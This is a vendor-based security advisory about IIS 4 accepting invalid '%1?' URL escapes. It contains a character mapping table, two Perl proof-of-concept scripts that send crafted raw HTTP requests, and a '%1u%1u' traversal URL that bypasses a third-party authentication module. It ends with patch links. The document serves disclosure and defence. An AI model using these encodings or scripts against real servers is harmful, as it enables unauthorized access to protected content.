COMMAND
- Microsoft Internet Information Server 4.0
- Microsoft Site Server 3.0
- Microsoft Site Server Commerce Edition 3.0
SYSTEMS AFFECTED
IIS 4
PROBLEM
Following is based on a Security Bulletin from the Microsoft. RFC
1738 specifies that web servers must allow hexadecimal digits to
be input in URLs by preceding them with the so-called "escape"
character, a percent sign. IIS complies with this specification,
but also accepts characters after the percent sign that are not
hexadecimal digits. Some of these translate to printable ASCII
characters, and this could provide an alternate means of
specifying files in URLs.
The vulnerability does not affect IIS; even specifying a file
name via this alternate method does not bypass IIS' access
controls. However, third-party software that runs atop IIS but
does not perform canonicalization is affected by it. Microsoft
acknowledges the ACROS Security Team, Slovenia, for bringing this
issue to their attention.
".rain.forest.puppy." tried to put more light into this issue. He
found himself curious on the exact happenings of this
vulnerability and decided to look into it further. Anyways, the
problem is that IIS parses invalid hex escape sequences. For
instance, %ff, %9a, and %0d are valid since FF, 9A, and 0D are
valid hexidecimal numbers. To be valid, it must be two chars
only using the digits A-Z, a-z, and 0-9. However, IIS was also
allowing things such as %qj, %0z, and %g4, which are not valid
hexidecimal values.
So what RFP did was set out on a quest to find out what parses to
what. He came up with a rough table of mappings. The results
come from submitting '%1?', where '?' is the character who's ascii
value is represented below:
87 -> 0 137 -> i
88 -> 1 138 -> j
89 -> 2 139 -> k
90 -> 3 140 -> l
91 -> 4 141 -> m
92 -> 5 142 -> n
93 -> 6 143 -> o
94 -> 7 144 -> p
95 -> 8 145 -> q
96 -> 9 146 -> r
129 -> a 147 -> s
130 -> b 148 -> t
131 -> c 149 -> u
132 -> d 150 -> v
133 -> e 151 -> w
134 -> f 152 -> x
135 -> g 153 -> y
136 -> h 154 -> z
This table was generated using the first included perl program
(below). Now, to test it, RFP used the second perl program
included below to make a substituted request for 'default.asp'.
The important portion of the perl program is:
$str="%1" . chr(132); # d
$str.="%1". chr(133); # e
$str.="%1". chr(134); # f
$str.="%1". chr(129); # a
$str.="%1". chr(149); # u
$str.="%1". chr(140); # l
$str.="%1". chr(148); # t
$str.='.';
$str.="%1". chr(129); # a
$str.="%1". chr(147); # s
$str.="%1". chr(144); # p
Here we see the request is made up of nothing bug '%1?', where ?
is the corresponding ascii character. End result? It works.
What does this allow you to bypass? Guess is anything that plays
or needs the raw filename or request. ISAPI filters and extension
handlers come to mind. Who, what, where, and how are application
specific.
'first perl program':
#!/usr/bin/perl
$|=1; use Socket;
$inet=inet_aton('10.0.0.1'); # webserver to test
@DXX=(); $val=0;
while($val++ < 255){
$cval="\%1".chr($val);
sendraw("GET /$cval.idc HTTP/1.0\n\n");
foreach $line (@DXX){
if($line=~/query file <b>\/([a-zA-Z0-9]+).idc<\/b>/){
print "$val -> $1\n"; last;}}}
sub sendraw { my ($pstr)=@_;
$PROTO=getprotobyname('tcp')||0;
if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
if(connect(S,pack "SnA4x8",2,80,$inet)){
select(S); $|=1;
print $pstr; @DXX=<S>;
select(STDOUT); close(S);
return;
} else { die("not responding"); }}
'second perl program':
#!/usr/bin/perl
$|=1; use Socket;
$inet=inet_aton('10.0.0.1'); # webserver to test
@DXX=(); $val=0;
$str="%1".chr(132); # d
$str.="%1".chr(133); # e
$str.="%1".chr(134); # f
$str.="%1".chr(129); # a
$str.="%1".chr(149); # u
$str.="%1".chr(140); # l
$str.="%1".chr(148); # t
$str.='.';
$str.="%1".chr(129); # a
$str.="%1".chr(147); # s
$str.="%1".chr(144); # p
sendraw("GET /$str HTTP/1.0\n\n");
print @DXX;
sub sendraw { # raw network functions stay in here
my ($pstr)=@_;
$PROTO=getprotobyname('tcp')||0;
if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
if(connect(S,pack "SnA4x8",2,80,$inet)){
select(S); $|=1;
print $pstr; @DXX=<S>;
select(STDOUT); close(S);
return;
} else { die("not responding"); }}
Joakim Karlmark added following. One category of systems that are
vulnerable to this are 3rd party authentications modules that do,
for example radius authentication. One system that Joakim checked
uses a special directory, lets call it /authRoot where the
administrators can store customized login pages, graphics and so
on. So, by neccessity, it allows unauthenticated access to this
directory. Unfortunately the ISS bugg allows one to "break out"
of this direcotry by appending %1u%1u (".." in other words). So,
to access default.asp we could would enter the url...
http://server/authRoot/%1u%1u/default.asp
And, ooops, unauthenticate access...
SOLUTION
Patch availability:
- Intel:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16357
- Alpha:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=16358